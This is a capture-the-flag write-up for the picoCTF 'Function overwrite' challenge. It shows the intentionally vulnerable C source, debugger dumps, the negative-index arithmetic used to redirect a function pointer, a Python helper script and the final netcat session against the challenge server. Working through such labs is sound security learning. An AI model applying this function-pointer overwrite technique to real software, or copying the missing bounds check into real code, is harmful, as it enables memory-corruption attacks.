Function overwrite

August 16, 20255 minutes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}
return score;
}
void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 13371337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
void vuln()
{
char story[128];
int num1, num2;
printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);
if (num1 < 10)
{
fun[num1] += num2;
}
check(story, strlen(story));
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
The program asks the user for some text and 2 numbers. With that text, it checks whether the total sum of all its characters is 13371337, and if so, it prints the flag. It does this by calling check, which is the same as calling hard_check directly,
void (*check)(char*, size_t) = hard_checker;
This is impossible, since it only lets us write 128 characters, and the maximum the sum of 128 characters can reach is 32640
>>> 0xff * 128
32640
If check pointed to easy_checker(), the condition to print the flag could be met, since easy_checker() only needs the sum of all the characters of the input text to be 1337, which is doable.
Going back to the numbers that seemed pointless…
if (num1 < 10)
{
fun[num1] += num2;
}
A value (chosen by the user) is being added to a position of the array (also chosen by the user). It only checks that num1 is less than 10, but not that num1 is greater than 0, so this can be abused to write to negative positions of the array, affecting other values stored on the stack.
fun is defined very close to check, so they shouldn’t be far apart on the stack.
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
Specifically, they are 0x20 (32) apart
pwndbg> p &fun
$1 = (<data variable, no debug info> *) 0x804c080 <fun>
pwndbg> p &check
$2 = (<data variable, no debug info> *) 0x804c040 <check>
pwndbg> x/65xb 0x804c040
0x804c040 <check>: 0x36 0x94 0x04 0x08 0x00 0x00 0x00 0x00
0x804c048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c060 <completed.7623>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c078: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c080 <fun>: 0x00
pwndbg>
One test I did was to send the numbers -1 and 64; with that I could confirm that 64 (0x40) was written to an address below fun
pwndbg> x/128xb 0x804c040
0x804c040 <check>: 0x36 0x94 0x04 0x08 0x00 0x00 0x00 0x00
0x804c048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c060 <completed.7623>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c078: 0x00 0x00 0x00 0x00 0x40 0x00 0x00 0x00
0x804c080 <fun>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c088 <fun+8>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c090 <fun+16>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c098 <fun+24>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c0a0 <fun+32>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c0a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c0b0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c0b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
This also shows that each position of the array takes 4 bytes, so to write into check we need to write to position -16.
But what do we need to write?
By default, check holds 0x08049436, which is the address of hard_checker, and the goal is for it to hold 0x080492fc.
The program adds the number we pass (fun[num1] += num2;), so we need to pass the difference between the 2 addresses.
>>> 0x080492fc - 0x08049436
-314
>>>
Which gives:
fun[-16] += -314;
Before:
pwndbg> p (void (*)(char *, size_t)) check
$2 = (void (*)(char *, size_t)) 0x8049436 <hard_checker>
After:
pwndbg> p (void (*)(char *, size_t)) check
$3 = (void (*)(char *, size_t)) 0x80492fc <easy_checker>
All that’s left is to generate a string whose ASCII characters add up to 1337.
string = ""
total_ascii = 0
max = 1337
while True:
if total_ascii + ord("A") < max:
string += "A"
total_ascii += ord("A")
else:
break
string += chr(max-total_ascii)
print(string)
[d3bo@archlinux ~]$ python3 /tmp/ascii.py
AAAAAAAAAAAAAAAAAAAA%
[d3bo@archlinux ~]$ nc saturn.picoctf.net 51869
Tell me a story and then I'll tell you if you're a 1337 >> AAAAAAAAAAAAAAAAAAAA%
On a totally unrelated note, give me two numbers. Keep the first one less than 10.
-16 -314
You're 1337. Here's the flag.
picoCTF{*****************ab5fc}